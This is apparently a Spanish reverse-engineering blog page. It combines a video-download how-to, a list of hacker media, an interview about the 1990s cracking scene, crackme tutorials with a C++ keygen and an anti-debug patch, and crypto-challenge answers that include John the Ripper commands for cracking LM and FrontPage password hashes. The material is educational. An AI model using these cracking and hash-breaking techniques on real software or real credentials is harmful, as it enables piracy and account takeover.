{"id":"591a08c1986b2810b31577c1","type":"video","tipo":"video","subtipo":"video","imgThumb":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/29.jpg","imgPoster":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/31.jpg","live":false,"autoplay":true,"sources":[{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/manifest_mvlist.mpd","type":"application/dash+xml"},{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/playlist.m3u8","type":"application/vnd.apple.mpegurl"}],"omniture":{"section":"Joaquín Reyes","category":"El Intermedio","channel":"lasexta","type":"short","name":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","embeddedMode":false},"comscore":{"comscoreTag":"LASEXTA.COM","channel":"lasexta","kantar":{"programID":"1019","firstBroadcastDate":"*null","firstBroadcastTime":"*null","typeTvStream":"0002","kantarGenre":"0","channelId":"240"},"content_form":"short_form"},"urlHits":"http://hits.lasexta.com/l6//591a08c1986b2810b31577c1/3/348128,351435,351827,351865/","duration":"211.797333","embeddedUrl":"<iframe src=\"http://www.lasexta.com/embed/el-intermedio-le-pilla-en-el-trono/video/7/2017/05/15/591a08c1986b2810b31577c1\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen></iframe>","playondraw":true,"nextRelated":{"service_url":"http://www.lasexta.com/json/video/7/2017/05/15/591a08c1986b2810b31577c1_related.json"},"subtitle":[],"titulo":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","descripcion":"","sociales":{"hasTwitter":true,"hasFacebook":true,"hasGooglePlus":true,"hasWhatsapp":true,"twitter":"EL INTERMEDIO LE PILLA EN “EL TRONO”","facebook":"EL INTERMEDIO LE PILLA EN “EL TRONO”","googlePlus":"EL INTERMEDIO LE PILLA EN “EL TRONO”","whatsapp":"","hashtag":"","via":"sextaNoticias","urlPage":"https://goo.gl/cu98f0"},"vp_data":{"vp_category":"Atresmedia/Lasexta/programas/el-intermedio*","vp_tags":"","vp_content_form":"short_form"}}

Se puede ver a simple vista una lista de reproducción playlist.m3u8, cuyo contenido contiene más listas de reproducción con diferentes calidades.

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=796400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360
chunklist_b724000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=1159400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360
chunklist_b1054000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=1643400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=720x404
chunklist_b1494000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=2248400,CODECS="avc1.77.31,mp4a.40.5",RESOLUTION=1280x720
chunklist_b2044000.m3u8

Reconstruimos la URL para la lista de reproducción de mayor calidad e inspeccionamos su contenido.

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:10
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
media_b2044000_0.ts
#EXTINF:10.0,
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#EXTINF:10.0,
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#EXTINF:10.0,
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#EXTINF:1.92,
media_b2044000_21.ts
#EXT-X-ENDLIST

Se pueden ver 21 archivos con extensión TS de 10 segundos cada uno a excepción del último que dura 1.92 segundos. Los archivos TS no son más que archivos MP4 por lo que una vez descargados, los podemos unir con MP4Tools por ejemplo.

La tarea es costosa, pero si os apetece enviar un vídeo en vez de un enlace, ya sabéis que en determinados casos se puede hacer.

Libros

Hacker Épico

La apacible existencia de Ángel Ríos da un vuelco cuando una antigua compañera de clase, de la que siempre ha estado enamorado, le pide ayuda para descifrar un misterioso archivo. A partir de entonces, Ángel se verá envuelto en una intriga relacionada con el contenido del archivo, que complicará su vida y lo expondrá a un grave peligro. En el camino hacia la verdad, únicamente contará con sus sorprendentes conocimientos de hacking y el apoyo de su peculiar amigo Marcos. Técnicas de hacking web, sistemas y análisis forense son algunos de los temas que se tratan con total rigor en esta mezcla de novela negra y manual técnico.

Web oficial

La Caza de Hackers: Ley y Desorden en la Frontera Electrónica

En 1990, la caída del sistema del día de Martin Luther King, que afecto a la compañía telefónica AT&T y dejó sin comunicaciones a millones de norteamericanos, desencadenó la persecución y detención de decenas de hackers, acusados de causar el hundimiento, que hasta ese momento era ignorados por la policía y las leyes. Bruce Sterling, considerado uno de los mayores expertos en el género del ciberpunk, nos ofrece un apasionante reportaje desde el principio de la era de internet, los ordenadores personales, y la frontera electrónica partiendo de la base de ese hecho inaudito. Con una entretenida prosa novelesca, Sterling nos lleva a conocer a todos los implicados en el asunto, desde los primeros activistas de internet hasta los policías encargados del caso, que cimentó los pilares de lo que hoy es la libertad de expresión en Internet. 25 años después de los sucesos del día de Martin King, «La Caza de Hackers», se ha convertido en un libro de culto y un documento histórico imprescindible para comprender y entender la transformación y el impacto de las nuevas comunicaciones en el Siglo XXI.

Cybersecurity for the Home and Office

El título de este libro anima a que tomes control de la ciberseguridad no solo en tu trabajo, sino también para tus asuntos personales. La ciberdelincuencia es una industria delictiva que mueve miles de millones de dólares al año y cuyos actores apenas temen a las fuerzas del orden. Los incidentes siguen creciendo, y más allá de la protección en los lugares de trabajo, también es necesario protegernos a nosotros mismos y a nuestras familias.

Web oficial

Messing with the Enemy: Surviving in a Social Media World of Hackers, Terrorists, Russians, and Fake News

Clint Watts, un ex agente especial del FBI, oficial del Ejército de Estados Unidos y destacado experto en ciberseguridad, ofrece una mirada devastadora y esencial a las campañas de desinformación, las noticias falsas y las operaciones de espionaje electrónico que se han convertido en la vanguardia de la guerra moderna. También ofrece consejos para protegernos en nuestro día a día.

Cybersecurity: An Essential Guide to Computer and Cyber Security for Beginners, Including Ethical Hacking, Risk Assessment, Social Engineering, Attack and Defense Strategies, and Cyberwarfare

Con multitud de ejemplos, este libro le mostrará que Internet no es simplemente una forma de ver vídeos de gatos monos; es un campo de batalla, un invento militar que se descubrió accidentalmente que era capaz de dominar cualquier amenaza económica, digital y políticamente.
Desde los foros más burdos hasta los servicios en línea más sofisticados, hay una guerra en marcha y, lo quieras o no, estás implicado por el mero hecho de estar aquí, así que mejor ármate de conocimientos.

Hackstory.es

Historia de la comunidad hacker en España, centrada en la década de los 90, cuando aparecen los primeros grupos y nace la cultura hacker. El libro narra el quién fue quién, así como sus hazañas, anécdotas y colectivos e individuales más punteros. Este ingente trabajo de investigación nació en 2009, con la puesta en marcha de un wiki, al estilo wikipedia, llamado Hackstory.net y donde en estos años la autora ha ido creando fichas, accesibles al público, que le han permitido escribir este libro, sin parangón en Europa. La comunidad hacker ha revisado los textos así como apoyado a la autora, tanto a la hora de aportar información, como en una campaña de «crowdfunding» con la que se consiguió una respetable cantidad para tener el tiempo suficiente de escribir el libro. Además de ser sus principales mecenas, protagonistas y aportadores de información, los hackers españoles han participado en todos los aspectos organizativos relacionados con la producción y distribución del libro.

Documentales

Hackers wanted

Documental narrado por Kevin Spacey que explora los orígenes y la naturaleza de los hackers y los piratas informáticos.
Sigue las aventuras de Adrián Lamo, un célebre hacker y periodista estadounidense, conocido por haber delatado a Chelsea Manning, el soldado que presuntamente filtró a WikiLeaks el vídeo que mostraba a soldados americanos asesinando a civiles en
Afganistán.

Hackers are people too

Este documental tiene como objetivo retratar de forma exhaustiva la comunidad hacker. En un esfuerzo por cuestionar las ideas preconcebidas y los estereotipos de los medios de comunicación, HACKERS ARE PEOPLE TOO permite a los hackers hablar por sí mismos y presentar su comunidad al público.

Hackers in Wonderland

Hackers in Wonderland es un documental del año 2000, producido y dirigido por Russell Barnes.
Se centra en los hackers del Reino Unido, y contiene entrevistas con ellos donde revelan lo que les impulsa a hackear y sus opiniones sobre el hacktivismo.

Hackers: Wizards of the electronic age

Este documental sobre la comunidad de hackers incluye imágenes de una conferencia de hackers y entrevistas con algunos de los programadores que crearon la revolución de los ordenadores personales, como Bill Atkinson, Bill Budge o Doug Carlston.
Convertido ya en un clásico sobre la revolución de los ordenadores, las entrevistas fueron grabadas durante un largo fin de semana en una conferencia de hackers
de 1984.

Podcast

conCISOS

Programa en el que se conversa con grandes profesionales del mundo de la seguridad para conocer su visión sobre la situación actual y la ciberseguridad.

Spotify | Ivoox

Brigada OSINT

El único Podcast en español íntegramente dedicado al OSINT (Open Source Intelligence), conjunto de técnicas y herramientas para recopilar información pública, correlacionar los datos y procesarlos. Está dirigido por el Analista y Consultor OSINT David Sanz y son episodios de menos de una hora donde se habla de casos reales, herramientas, noticias, libros y documentales.

Web Oficial

Ciberseguridad sin censura

Ciberseguridad sin censura, es el podcast del Instituto de Ciberseguridad en el que se tocan temas relacionados a la tecnología y seguridad, de forma objetiva y sin censura.
Su visión es que a través de este podcast, puedas encontrar noticias, entrevistas y temas de tecnología y seguridad en general desde un punto de vista completamente imparcial.

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The social engineer

Podcast centrado en ingeniería social. Entender cómo interactuamos, nos comunicamos y transmitimos información puede ayudarnos a proteger, mitigar y comprender este tipo de ataques.

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401 access denied

Cada quince días, el hacker ético de Delinea Joseph Carson y los expertos en formación en ciberseguridad deCybrary comparten sus puntos de vista con invitados especiales en este interesante podcast sobre la actualidad en materia de ciberseguridad.

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Videojuegos

else Heart.Break ()

Sebastian acaba de conseguir su primer trabajo en la lejana ciudad de Dorisburg. Se traslada allí para
comenzar su vida adulta y averiguar quién quiere ser realmente.
Entre una extraña colección de personas, hackers y activistas, encuentra algunos verdaderos amigos, e incluso el amor. Pero, ¿podrán detener los terribles actos de la gente que gobierna la ciudad?
Else Heart.Break () es una vuelta de tuerca del juego de aventuras: una historia fantástica ambientada en un mundo totalmente dinámico e interactivo.

Steam

Hackmud

Hackmund es un simulador de hacking multijugador basado en texto para ordenadores personales compatibles con Intel.
En este emocionante videojuego, los jugadores pueden descifrar sistemas protegidos y resolver rompecabezas mientras exploran la abandonada Internet del futuro. Además, pueden escribir scripts para proteger sus ganancias y engañar a otros jugadores.

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TIS-100

En este juego de programación desarrollado por Zachtronics Industries, puedes desarrollar un código de lenguaje ensamblador simulado para realizar ciertas tareas en un ordenador ficticio virtualizado de la década de 1970.

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Pelis

Algorithm

Will es un experto en seguridad informática que trabaja como consultor y hacker independiente en San Francisco.
Su vida da un vuelco cuando es contratado por un hombre que quiere pruebas de la infidelidad de su mujer. En su investigación, descubre un misterioso programa informático del gobierno, un aterrador sistema de identificación y tracking de personas.

23 – Nichts ist so wie es scheint («Nothing is what it seems»)

Hannover, finales de los años ochenta. El huérfano Karl Koch invierte su herencia en un ordenador personal. Al principio lo usa para captar noticias sobre discusiones de teorías conspirativas inspiradas en su novela favorita, “Illuminatus”, de R.A. Wilson, pero pronto Karl y su amigo David empiezan a introducirse en ordenadores del gobierno y del ejército.
Esta apasionante historia real sobre unos jóvenes alemanes, obtuvo reconocimientos a premios importantes dentro de su país de origen.

Johnny Mnemonic

Película de 1995 que tiene a Keanu Reeves como protagonista.
Corre el año 2021 y la mitad de la población sufre de una enfermedad llamada “síndrome de atenuación de los nervios”. Johnny es un mensajero de información, una persona que lleva los datos más importantes del siglo XXI directamente implantados en su cerebro. Su información será muy valiosa para una gran corporación, que no parará hasta dar con él.
A pesar de no haber recibido buenas críticas en su momento, su visionado futurista resulta entretenido.

Who Am I: ningún sistema es seguro

Benjamin se siente invisible, pero esto cambia cuando conoce al carismático Max. Aunque aparentemente no podrían ser más diferentes, ambos comparten el mismo interés: la piratería informática.
Junto con los amigos de Max, forman un grupo subversivo de hackers que desafía al sistema y Benjamin se siente parte de algo por primera vez en su vida.
Pero la cosa se pone seria de repente, cuando el grupo es incluido en la lista de buscados de la policía alemana y la Europol.

Hackers (Piratas Informáticos)

Dade acaba de mudarse con su madre a la ciudad de Nueva York. En su primer día de escuela conocerá a un grupo de jóvenes cuya afición es piratear sistemas informáticos por diversión. Dadee se unirá a ellos, pero todo se complica cuando descubren que están siendo vigilados por las autoridades. Cuando el grupo se entera de la existencia de un plan para liberar un peligroso virus en la Red, todos deberán utilizar sus habilidades informáticas para conseguir pruebas de ello mientras el Servicio Secreto y el malvado genio de los ordenadores que ha creado el virus les pisan los talones.

La Red Social

Película biográfica dirigida por David Fincher, estrenada el 24 de septiembre de 2010, en el Festival de Cine de Nueva York. Esta narra un drama de tribunales, sobre las implicaciones morales del entonces ascendente Mark Zuckerberg (interpretado por Jesse Eisenberg), cuyas peripecias lo encaminaron en la construcción de un imperio billonario, y de cómo alguien poco sociable logró conectar a cientos de millones de personas a través de su creación, Facebook.

La Red

El primer día de sus vacaciones, una programadora de ordenadores recibe un extraño disquet para que lo investigue. Se lo guarda y descubre que posee una clave para acceder al control de las bases de datos protegidas de Estados Unidos. A la vez ve cómo todos los datos de su vida que figuran en archivos informáticos son suprimidos o tergiversados.

Blackhat – Amenaza en la red

Thriller cibernético en el que varios agentes norteamericanos y chinos, con ayuda de un convicto liberado, se unen para detener a un misterioso hacker. Todo comienza cuando los gobiernos de Estados Unidos y China se ven obligados a cooperar por el bien de la seguridad nacional de ambas potencias. El motivo: una fuerte amenaza informática está poniendo en riesgo las vidas y el futuro de la población. Delitos informáticos de alto nivel para los que deberán recurrir a sus mejores agentes de campo si quieren llegar a tiempo para evitar lo peor.

The Matrix

Representa un futuro distópico en el que la humanidad está atrapada sin saberlo dentro de una realidad simulada llamada Matrix, que las máquinas inteligentes han creado para distraer a los humanos mientras usan sus cuerpos como fuente de energía en campos de cultivo.​ Cuando el programador informático Thomas Anderson, bajo el alias de hacker «Neo», descubre la incómoda verdad, se une a una rebelión contra las máquinas junto con otras personas que han sido liberadas de Matrix. Siendo estrenada en los Estados Unidos el 31 de marzo de 1999, es la primera entrega de la franquicia Matrix, de la que derivan (dado su éxito) una serie de videojuegos, cortos animados y cómics, llegando a ser un claro ejemplo del subgénero cyberpunk.

Juegos de guerra

Un joven informático, con una gran habilidad para falsificar notas, entra en una compañía de juegos de ordenador para probarlos y consigue poner en jaque al Departamento de Defensa de los Estados Unidos y provocar la III Guerra Mundial.

Snowden

La épica historia del hombre que en 2013 puso en jaque a los EE.UU. Cuando Edward J. Snowden desveló los documentos del programa de vigilancia mundial secreto de la NSA abrió los ojos del mundo y cerró las puertas de su propio futuro. Se vio obligado a renunciar a su carrera, a su novia de toda la vida y a su patria. ¿Fue un patriota o un traidor?

Series

Eye Candy

Esta serie de televisión estadounidense está basada en una novela y tiene como protagonista a Lindy Sampson, una solitaria hacker que tiene un blog en el que expone todo tipo de cosas: desde planes terroristas hasta presuntos asesinos.
Un día, Lindy se convierte en el blanco de un peligroso acosador cibernético y asesino en serie, que se obsesiona con ella. A partir de entonces, Lindy se sumerge en la investigación policial para capturar al asesino, utilizando su especial habilidad.

Mr. Robot

Esta aclamada serie de cuatro temporadas ha sido nominada durante varios años seguidos tanto a los Globos de Oro como a los Emmy y ha sido destacada por muchos críticos como una de las mejores series de los últimos años.
El protagonista es Elliot Anderson, interpretado por un estupendo Rami Malek. Un brillante programador con problemas para las relaciones sociales que durante el día trabaja como técnico de ciberseguridad y por la noche es un desinteresado justiciero cibernético, que se ve envuelto en una oscura trama.

Devs

Lily es una joven ingeniera informática que decide investigar a la empresa de tecnología para la que trabaja, pues cree que está detrás de la desaparición de su novio.
A medida que avanza la investigación, descubre que la empresa está desarrollando un código que desafía las leyes del espacio y el tiempo.
El director de Ex_Machina firma este hipnótico thriller que habla sobre el uso indiscriminado del Big Data, reflexiona sobre el determinismo, (alegando que ninguno de nuestros actos es libre), y diseña una interesante radiografía sobre las relaciones humanas.

Silicon Valley

Richard es un tímido programador que vive con sus tres únicos amigos y descubren un importante algoritmo que supondrá una batalla con intereses y falsas amistades. Además, una chica se cruza por primera vez en la vida de Richard.

Karpoff.es

Hace unos días intenté contactar con Karpoff ya que fué una inspiración para mi y muchos otros, lo conseguí y se me ocurrió hacerle una entrevista, aquí tenéis el resultado.

Para los recién llegados diré que, Karpoff Spanish Tutor era (y sigue siendo aunque no se actualice), una gran web colaborativa donde encontrar cantidad de manuales y programas en Castellano.

deurus: ¿Qué te llevó a realizar la web?, es decir, que te hizo levantarte una mañana y decir, venga, voy a realizar una web sobre ingeniería inversa.

Karpoff: Pues mira, fue de la siguiente manera. Por aquel entonces (te hablo de los 90 y poco) yo pasaba mi tiempo libre intentando saltar las protecciones de los programas que conseguía generalmente en revistas de informática.

Desconocía que existía un mundillo dedicado a esas artes.

En los años 90 no había internet ni nada parecido que yo sepa, sobre el 95 creo recordar, telefónica saco una cosa que se llamaba Infobia y era una especie de intranet de telefónica donde accedías a un contenido muy limitado, pero te permitía salir de alguna manera bastante limitada también a lo que conocemos como internet (todo era mega lento, velocidades de uno o dos kb por segundo) con módem y llamadas analógicas.

No se como, ya que no existia o no era conocido Google tampoco había casi buscadores, conocí la famosa y maravillosa pagina de «Fravia» dedicada a la ingeniería inversa con muchísima documentación, y proyectos de estudio de protecciones, lamentablemente para el momento hispano, toda la documentación estaba en ingles .

Investigando conocí paginas hispanas con proyectos interesantes (aunque muchas de ellas aun siendo hispanas publicaban todo en ingles)

Conocí también otra pagina, el “ECD” estudio colectivo de desprotecciones + WTK en castellano e ingles que me sorprendió gratamente y donde se publicaban proyectos propios del grupo WTK y de otros grupos como estado+porcino.

los tres grupos hispanos del momento eran WTK, TNT y KUT, pertenecí a TNT durante algún tiempo, aunque el objetivo del grupo no me convencía ya que era exclusivamente la creación de cracks a mansalva por lo que no estuve más de un año.

Yo echaba de menos un sitio como “Fravia” pero en castellano donde todos los interesados pudiéramos colaborar y ayudarnos con temas de ingeniería inversa.

Ya en los 90 y mucho, todo lo relacionado con internet había evolucionado bastante, las conexiones también eran mas rápidas, ya no hacia falta conectarte a infobia sino directamente a internet.

Yo disponía de mucho tiempo libre y empecé un proyecto en solitario “Karpoff Spanish Tutor” mas conocido como “la pagina de karpoff” con proyectos de mi cosecha y con temas que me gustaban mucho, como la programación, los compiladores el software en general etc.

Luego todo lo demás fue llegando poco a poco, a la gente le gustaba y tenia muchísimas ganas de aprender y sobre todo de colaborar.

El proyecto alcanzo unos niveles impresionantes en cuanto a colaboración y recepción de material, había días que estaba mas de 14 horas actualizando la pagina y buscando nuevos servidores para alojarla, ya que me los cerraban casi semanalmente. Y la verdad.. cada vez me costaba mas tiempo mantener la pagina.

Luego gracias a Red Futura tuvimos un hostin de calidad y gratuito.

El proyecto era tan amplio que me fue imposible conciliar vida laboral y vida en internet todo esto empezaba a ser incompatible.

deurus: ¿Empezaste solo o erais un grupo de amiguetes?

Karpoff: Esta te la he contestado en la primera pregunta, vamos… que empecé yo solo.

deurus: ¿Echas de menos el proyecto?

Karpoff: Hoy en día no. Hace falta muchísimo tiempo libre y muchísima dedicación a nivel organizativo.

Echo de menos el movimiento que se creo y la actividad que alcanzo el movimiento cracking hispano. Salían grupos de cracker con nuevos proyectos y paginas hasta de debajo de las piedras 🙂 la ingenieria inversa se puso un poco de moda, conocí a gente muy interesante como Ricardo Narvaja, Numi_tor, Demian y muchas otras personas con muchos conocimientos.

Después de cerrar la pagina todo se quedo un poco cojo y todo el movimiento se empezó a diluir bastante rápido.

deurus: ¿Lo retomarías día de hoy?

Karpoff: La verdad es que no, ya no es mi tiempo, ahora me dedico al trabajo y mi familia y en ratos libres intento reventar algún programa. Sobre todo crackmes.

deurus: ¿Tienes o colaboras activamente en algún proyecto relacionado con la Ingeniería Inversa? 

Karpoff: No, no tengo tiempo. Mantengo contacto por correo con gente de que conocí en esa época y me sorprende que la gente no se olvida de mí. Recibo bastante correo en esta cuenta pidiéndome alguna entrevistilla, opiniones y muchos muchos agradecimientos de mucha gente por la página.

deurus: Yo por aquel entonces tenía 17 años, ¿se le puede preguntar la edad a Karpoff?

Karpoff: Pues yo tengo 45, por aquel entonces tenia unos 29 . La ingeniería inversa siempre fue mi pasión. Desde bien pequeño mi obsesión ha sido conocer como y porque funcionaba todo 🙂 hasta el punto de desmontar todo aquello que me llamaba la atención, mi madre estaba desesperada ya que dejaba todo destripado y muchas veces sin posiblilidad de reparacion.

deurus: ¿Te dedicas a algo relacionado con la informática?

Karpoff: Si, desde esos tiempos me encargo de los sistemas informáticos y equipos técnicos de una empresa bastante conocida, además ese fue uno de los principales motivos del cierre de la página.

Hubo gente interesada en seguir con el proyecto, aunque finalmente todo quedó en nada. Supongo que vieron que el proyecto requería muchísimo tiempo y mucho mucho trabajo.

Me dio mucha lastima no poder seguir con la página y mucha más que nadie se hiciera cargo de ella.

No hace mucho al desaparecer los redireccionadores “come.to” adquirí un dominio “karpoff.es” donde enlace tres mirror de la página para dejar un punto de acceso a ellos.

deurus: Finalmente ¿quieres decir algo a los lectores?

Karpoff: Pues sí, sobre todo dar las gracias a los que me conocen y tuvieron relación con la página, siempre me han hecho sentir grande y siempre tuve mucha colaboración y muchos ánimos por parte de los lectores.

Para los que no me conocen y les gusta la ingeniería inversa, decirles que lo que se aprende crackeando no lo enseñan en ningún sitio 🙂 y es muy muy gratificante.

deurus: Muchas gracias por tu atención, ha sido un placer.

Karpoff: Muchas gracias a ti, me ha hecho mucha ilusión y me ha gustado mucho tu blog.

Saludos !!

Karpoff

Intro

Hoy tenemos un crackme realizado en ensamblador y sin empacar. Consiste en el típico serial asociado a un nombre sin mucha complicación excepto en lo que a la utilización de memoria se refiere. Como veremos más adelante si no tenemos cuidado se solapan en memoria el nombre y el serial y como siempre evitaremos eso.

El algoritmo

Abrimos el crackme con Olly y buscamos las string references, pinchamos sobre cualquiera y encima encontramos el código que no interesa.

stringref

Subimos hasta las funciones que recojen el nombre y serial (GetDlgItemTexA) y nos fijamos que guarda el nombre a partir de la dirección de memoria 403014 y el serial a partir de 40301A. Además el nombre debe tener por lo menos tres caracteres.

getdlgitemaymemoria

compserial

El algoritmo consiste en lo siguiente, recorre el nombre y comprueba si el dígito se corresponde con 5A(Z), 7A(z) y 39(9). Si coincide los deja como está y si no les suma 1 al valor ascii. A continuación concatena después de cada conversión de dígito el caracter 61(a) aumentándole en 1 para cada nuevo dígito del nombre.

Ejemplo:

Nombre: ZZZZZ
Serial: ZaZbZcZdZe

Nombre: zzzzz
Serial: zazbzczdze

Nombre: 99999
Serial: 9a9b9c9d9e

Como veréis a continuación, para el nombre «deuru» el serial correcto sería «eafbvcsdve«. Simplemente a los caracteres del nombre les suma 1, d es e, e es f, u es v, etc, y los concatena con digito+a+digito+b+digito+c…

Nombre: deuru
Serial: eafbvcsdve

Bucle se repite tantos veces como dígitos tenga el nombre

d  e  u  r  u
64 65 75 72 75

e  a  f  b  v  c  s  d  v  e
65 61 66 62 76 63 73 64 76 65

DUMP
----
00403010  00 00 00 00 64 65 75 72 75 00 65 61 66 62 76 63  ....deuru.eafbvc
00403020  73 64 76 65 00 05 00 00 00 00 00 00 00 00 00 00  sdve...........

 La asignación de memoria

El problema viene cuando elegimos un nombre >5 caracteres, ya que, éste se solapa con la memoria del serial (recordemos 40301A y siguientes) haciendo que sea una chapuza. En la siguiente imagen queda claro. No se si es un error o es intencionado, pero nos conviene no utilizar nombres mayores de 5 dígitos para que nuestro keygen sea lo más limpio posible.

ejemplodump2

El KeyGen

Está realizado en C++ y como véis el nombre debe tener entre 3 y 5 dígitos para que todo vaya bien.

char Nombre[10];
GetWindowText(hwndEdit1, Nombre, 10);
SetWindowText(hwndEdit2, "");
string serial = "";
int len = strlen(Nombre);
char consecutivo[5] = {'a','b','c','d','e'};
if (len <=5 && len >=3){
    for(int i = 0; i <= len; i++)
    {
         if (Nombre[i] == 0x5A || Nombre[i] == 0x7A || Nombre[i] == 0x39)
         {
             serial+=Nombre[i];
             serial+=consecutivo[i];
         }else{
             serial+=Nombre[i]+1;
             serial+=consecutivo[i];
         }
     }
     serial = serial.substr(0, len*2);
     LPCTSTR Sfinal = serial.c_str();
     SetWindowText(hwndEdit2, Sfinal);
}else{
MessageBox(NULL,"Nombre demasiado largo/corto","Info",MB_OK | MB_ICONINFORMATION);
}

 Links


http://youtu.be/b9-GdmIQINQ Lista de reproducción
Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que
Introducción  Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
La esperada cuarta entrega de La Jungla de Cristal se metió de lleno en el mundo de los Hackers. Cuando

Los retos de criptografía pueden ser muy variados como he dicho anteriormente. El secreto suele estar en saber a que te enfrentas y posteriormente construir una herramienta para descifrarlo o usar una ya existente (la mayoría de los casos).

Una web con la que suelo resolver la mayoría de retos es dcode.fr. Si os fijáis en el enlace, la lista de categorías asciende a 48 y disponéis de unos 800 algoritmos para rebanaros los sesos.

A continuación veamos unos cuantos retos que podéis encontrar por la red. Cabe destacar que normalmente el título del reto dice mucho del algoritmo.


  • Enunciado: The grass is always greener on the other side
  • Texto encriptado: TSDLN ILHSY OGSRE WOOFR OPOUK OAAAR RIRID
  • Solución: César

  • Enunciado: Prove you’re not drunk?
  • Texto encriptado: gsv kzhh blfi ollprmt uli rh zoxlslo
  • Solución: Atbash

  • Enunciado: ¿?
  • Texto encriptado: 4C240DDAB17D1796AAD3B435B51404EE
  • Solución: Aquí nuestro primer impulso es utilizar fuerza bruta a MD5, pero cuando nos damos contra la pared el siguiente candidato es LAN Manager. Aquí la opción que más os guste, Cain, John The Ripper, etc.

Con John The Ripper tenemos que preparar un archivo de texto del estilo: deurus.info:1011:4C240DDAB17D1796AAD3B435B51404EE:4C240DDAB17D1796AAD3B435B51404EE:::

y ejecutar el comando: john –format=lm LM.txt


  • Enunciado: a lot harder than SMS
  • Texto encriptado: .- -. . .- … -.– — -. . – …. . .–. .- … … .– — .-. -.. .. … -.. — – -.. .- … …. -.. .- … …. -.. — –
  • Solución: Morse

  • Enunciado: Now I see!

 


  • Enunciado: Polly the parrot loves to square dance?
  • Texto encriptado: 442315 3511434352344214 2443 442432154411123115
  • Solución: Polybios

  • Enunciado: Aquí hay problemas de base.
  • Texto encriptado: VGhlIHBhc3N3b3JkIGlzIG9qZXRlIG1vcmVubw==
  • Solución: Base64

  • Enunciado: Conversión
  • Texto encriptado: 6c6120736f6c756369c3b36e2065733a20366533303664333137333734333337323739
  • Solución: Hexadecimal

  • Enunciado: Método de encriptación de los más antiguos que se conocen.
  • Texto encriptado: ozhlofxrlmvhxzorulimrz
  • Solución: Cifrado Afín

  • Enunciado: /_vti_pvt/administrators.pwd
  • Texto encriptado: admin:dut4HlQyu4dSA
  • Solución: Creamos un archivo de texto con el texto encriptado y ponemos a John The Ripper a trabajar con el comando john –show administrators.pwd

  • Enunciado: En ocasiones veo en binario
  • Texto encriptado:0111001101110101011100000110010101110010
    0001001110011000111110100100110010010001
  • Solución: Para la primera parte la conversión es directa. Para la segunda, la dificultad reside en darse cuenta que hay que separar en grupos de cinco y decodificar por separado.

  • Enunciado: Un clásico
  • Texto encriptado: WLYGUKVAIIXAVGLRWCHVDRWC
  • Solución: Vigenere

  • Enunciado: Una antigua estirpe

  • Enunciado: eXORcism
  • Texto encriptado: 7d5313525e52475713544113414046025052
  • Solución: XOR. La clave la podéis obtener por fuerza bruta. Mira este artículo par saber como.

  • Enunciado: Edgar Allan Poe
  • Texto encriptado: 05-05¶88)8)-5(525,‡
  • Solución: Escarabajo de oro

  • Enunciado: MD encryption
  • Texto encriptado: 6FBCF7B5CE6637C28EEDC43988A9509B
  • Solución: MD5

  • Enunciado: American coding system used in the context of World War II
  • Texto encriptado: A-WOH LIN AH-JAH CLA-GI-AIH BE-LA-SANA KLESH DIBEH GLOE-IH NE-AHS-JAH GAH BE YEH-HES DIBEH A-CHIN WOL-LA-CHEE A-KEH-DI-GLINI TSE-NILL YIL-DOI A-KHA
  • Solución: Código Navajo

  • Enunciado: Run, run, run
  • Texto encriptado: T1H1E1P1A1S2W1O1R1D1I1S1R1U1N2I1N1G1
  • Solución: Run-length encoding

Conversiones, cifra clásica, hash, simétricos, asimétricos, combinaciones de varios algoritmos y un largo etcetera. Como veis los hay para todos los gustos, ten en cuenta que aquí os muestro una pequeñísima parte de lo que os encontrareis en las webs de retos, pero para despertar la curiosidad es suficiente.

¡Hala, a decodificar!

Enlaces

Introducción

 Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.

Saltar el antidebug

Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.

names

Aquí vemos el call.

isdebuggerpresent

Call Nopeado.

antidebug

Encontrando un serial válido

Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.

comparacion

 El algoritmo

Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.

004010EB        |.  83F8 04             CMP EAX,4                      ;Longitud del nombre >4
004010EE        |.  72 05               JB SHORT Ice9.004010F5
004010F0        |.  83F8 0A             CMP EAX,0A                     ;Longitud del nombre <=10
004010F3        |.  76 15               JBE SHORT Ice9.0040110A
004010F5        |>  6A 00               PUSH 0                                ; /Style = MB_OK|MB_APPLMODAL
004010F7        |.  68 04304000         PUSH Ice9.00403004                    ; |Title = "Error, Bad Boy"
004010FC        |.  68 1C304000         PUSH Ice9.0040301C                    ; |Text = "name must be at least 4 chars"
00401101        |.  6A 00               PUSH 0                                ; |hOwner = NULL
